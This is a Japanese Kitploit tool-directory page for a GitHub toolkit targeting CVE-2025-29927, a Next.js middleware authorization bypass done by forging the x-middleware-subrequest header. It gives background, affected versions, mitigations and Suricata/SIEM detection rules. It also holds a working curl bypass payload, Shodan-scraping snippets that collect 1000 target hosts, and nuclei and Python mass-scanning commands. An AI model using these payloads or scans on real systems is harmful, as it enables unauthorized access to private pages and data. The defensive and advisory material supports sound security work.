Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-29927 — Proof-of-concept and mass scanning toolkit for CVE-2025-29927, a Next.js middleware authorization bypass via forged x-middleware-subrequest header. Includes nuclei templates and Python scanner. | Kitploit
ツール/GitHubGitHub/sdrtba/cve-2025-29927
認証と認可脆弱性分析IDS/IPS回避ウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Proof-of-concept and mass scanning toolkit for CVE-2025-29927, a Next.js middleware authorization bypass via forged x-middleware-subrequest header. Includes nuclei templates and Python scanner.

リポジトリを見る
311ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-29927 — Next.js (ミドルウェア認可バイパス)

概要: Next.js のミドルウェアにおける脆弱性で、x-middleware-subrequest ヘッダーを偽装することで認可チェックをバイパスできます。


目次

  • CVE-2025-29927 — Next.js (ミドルウェア認可バイパス)
    • 目次
    • 脆弱なホストの収集
    • 詳細情報
    • 概要説明
    • 脆弱性の詳細
    • CWE Weakness Enumeration
    • 影響と追加リスク
    • 影響を受けるバージョン
    • CVSS とメトリクス
    • PoC — ローカルでの安全な再現
    • マスチェック (nuclei, Python)
      • Nuclei
      • Python スキャナー (アーキテクチャ)
    • 軽減策 / 修正
    • 検出 / SIEM / IDS ルール
    • 検出とマスチェック (Scanning & Detection)
    • リソースとリンク

脆弱なホストの収集

Shodan でフィルター http.headers:"x-middleware-rewrite" により検索を実行し、1000 ドメインのリストを取得しました。

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


詳細情報

  1. 背景と経緯 Next.js の初期バージョンのミドルウェアでは、アプリケーション自体への内部(サブ)リクエストが発生する可能性がありました。再帰を防ぐために、フレームワークは内部マーカーとして機能する HTTP ヘッダーを導入し、「このリクエストは既に処理済み」ということを示しました。このアプローチは実用的で、ミドルウェアパイプライン内の無限ループを回避することができました。

  2. ミドルウェアの進化とペイロード Next.js 12.2 より前では、ミドルウェアは _middleware として pages/ 内に配置され、ネスト可能でした(例: pages/_middleware, pages/dashboard/_middleware)。ペイロードは特定のパス(例: x-middleware-subrequest: pages/dashboard/_middleware)を指定できました。 12.2 以降、ミドルウェアは middleware.js/ts という名前になり、pages/ 内には存在しなくなりました。この場合、単純なペイロード x-middleware-subrequest: middleware (または src/ を使用する場合は src/middleware)が機能することがよくありました。 後期バージョン(13.2.0 以降)では MAX_RECURSION_DEPTH を含む追加のチェックが導入され、一部の回避策では middleware:middleware:... のような値を繰り返してネストされたチェーンを模倣していました。 実際には、ペイロードの正確な形式は Next.js のバージョンとプロジェクト構成に依存します。


概要説明

  • CVE: CVE-2025-29927
  • 製品: Next.js (Vercel)
  • 概要: 認可を実装するミドルウェアが、内部フラグ x-middleware-subrequest を誤って信頼します。外部クライアントがこのヘッダーを設定することで、アクセスチェックをバイパスできます。
  • NVD 公開日: 2025 年 3 月 21 日
  • CNA: GitHub, Inc.

脆弱性の詳細

  • 説明: この脆弱性は、Next.js のミドルウェアがアクセス判断において内部の x-middleware-subrequest フラグに依存していることに起因します。このフィールドはもともとフレームワークの内部処理用に設計されていましたが、外部リクエストがこのヘッダーを設定できるため、認可バイパスが可能になります。
  • 脆弱性の原因: 誤った/安全でない認可ロジック — 受信ヘッダーへの信頼。
  • 悪用条件: Web アプリケーションが認可にミドルウェアのみを使用している場合、アプリケーションが脆弱なバージョンの Next.js を使用している場合。

CWE Weakness Enumeration

  • CWE-863: 不正確な認可 (Incorrect Authorization) — プライマリ
    • 根拠: ミドルウェアが x-middleware-subrequest ヘッダーを信頼し、追加検証なしでリクエストを通過させた。
  • CWE-285: 不適切な認可 (Improper Authorization) — セカンダリ
    • 根拠: 内部専用フローに対する堅牢な認証/認可の欠如。

影響と追加リスク

  • 影響: 認可バイパスにより、プライベートページ/データへのアクセス、アプリケーションに応じた昇格、ユーザーデータの漏洩などの可能性があります。
  • 追加リスク: CPDoS (Cache-Poisoned DoS): この脆弱性により、CDN/エッジキャッシュが操作される可能性があります(例: 内部サブリクエストがリソースをプライベート/パブリックとしてマークする場合)。これによりキャッシュポイズニングが発生し、サービスの拒否やデータ漏洩につながる可能性があります。
  • 影響例: PII 漏洩、ビジネスロジックのバイパス、セッションの侵害、アプリケーションルーティングの妨害。

影響を受けるバージョン

以下のバージョン範囲が脆弱です:

  • >= 11.1.4 かつ < 12.3.5
  • >= 13.0.0 かつ < 13.5.9
  • >= 14.0.0 かつ < 14.2.25
  • >= 15.0.0 かつ < 15.2.3

CVSS とメトリクス

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 (概算の Temporal Score).

PoC — ローカルでの安全な再現

  1. 脆弱なデモを起動:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. 単純な read-only PoC (curl):
root@kitploit:~
# ヘッダーなし — 拒否を期待 (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# 偽装ヘッダー付き — 脆弱性があれば 200 + ボディが返る
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

マスチェック (nuclei, Python)

Nuclei

  • Passive template: fingerprint 確認 (/_next/static/, package.json, headers, favicon hash) — 安全モード。
  • Active template: x-middleware-subrequest を付けて GET を送信し、応答を比較。必ず rate-limit と throttle を使用すること。

実行コマンド例:

root@kitploit:~
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (制御下で)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Python スキャナー (アーキテクチャ)

  • アルゴリズム: 各ホストに対して、ベースとなる応答(ヘッダーなし)を取得 → x-middleware-subrequest ヘッダー付きで再度実行 → ステータスとボディを比較。
  • 必須オプション: --concurrency, --delay, --dry-run, --respect-robots。
  • 高性能のために aiohttp / asyncio を使用。

簡易擬似コード:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

軽減策 / 修正

  1. プライマリ: Next.js を修正済みバージョンにアップデート:
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3。
  2. Quick-fix (エッジ/プロキシ): 境界で x-middleware-subrequest ヘッダーを削除/クリア:
  3. アプリケーションの変更: 認可を受信ヘッダーに依存しないようにする。JWT/セッショントークン/サーバー側検証に依存する。
  4. 検出: SIEM/IDS にログ記録とルールを追加: 外部からの x-middleware-subrequest リクエストを警告し、送信元を確認する。

検出 / SIEM / IDS ルール

ルール/アラートの例:

  • SIEM: 受信リクエストに x-middleware-subrequest が含まれ、source.ip が trusted_proxies にない場合にアラート。

  • Suricata (疑似):

root@kitploit:~
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

検出とマスチェック (Scanning & Detection)

  • Passive (nuclei / fingerprint): projectdiscovery/nuclei-templates の CVE-2025-29927 用 nuclei テンプレートを使用( fingerprint による確認: /_next/static/, package.json, headers, favicon hash)。悪用なし — 安全。
  • Active (nuclei): x-middleware-subrequest ヘッダー付きで GET を実行し、応答の違い(body/status)を確認する注意深いテンプレート。Throttle と rate-limit は必須。
  • Python/Go スクリプト (マルチスレッド):
    • 戦略: 各ホスト → ヘッダーなしのベースラインを取得 → ヘッダー付きで再度実行 → 比較。
    • 安全性: delay, per-host cooldown, --dry-run と --respect-robots オプション。
  • SIEM/IDS ルール (例):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

リソースとリンク

  • NVD / CVE-2025-29927 (NVD entry) — バージョンと CVSS について;
  • GitHub Advisory / Vercel advisory — パッチについて;
  • PoC リポジトリ (実際の URL に置き換え):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — CVE-2025-29927 テンプレート.
ツールをダウンロード
  • 修正の経緯と x-middleware-subrequest-id の問題 最初の迅速な修正には、内部識別子 x-middleware-subrequest-id のアイデアが含まれていました。これはランタイムで生成・検証され、有効な内部サブリクエストと偽装を区別するためのものでした。 しかし、実装には副作用があることが判明しました。この内部 ID が外部に漏れる可能性があり(送信 fetch/リクエストに含まれる)、新たなリスクを生み出しました。さらに、複数の CDN/PoP や混在するランタイム(Edge vs Node)環境では、ID の署名/同期が信頼できないことも判明しました。 その結果、x-middleware-subrequest-id のコードは削除/再設計されました。最終的な解決策は、Next.js のパッチとプラットフォームレベルの軽減策(イングレス/エッジレベルでの内部ヘッダーのフィルタリング)の組み合わせです。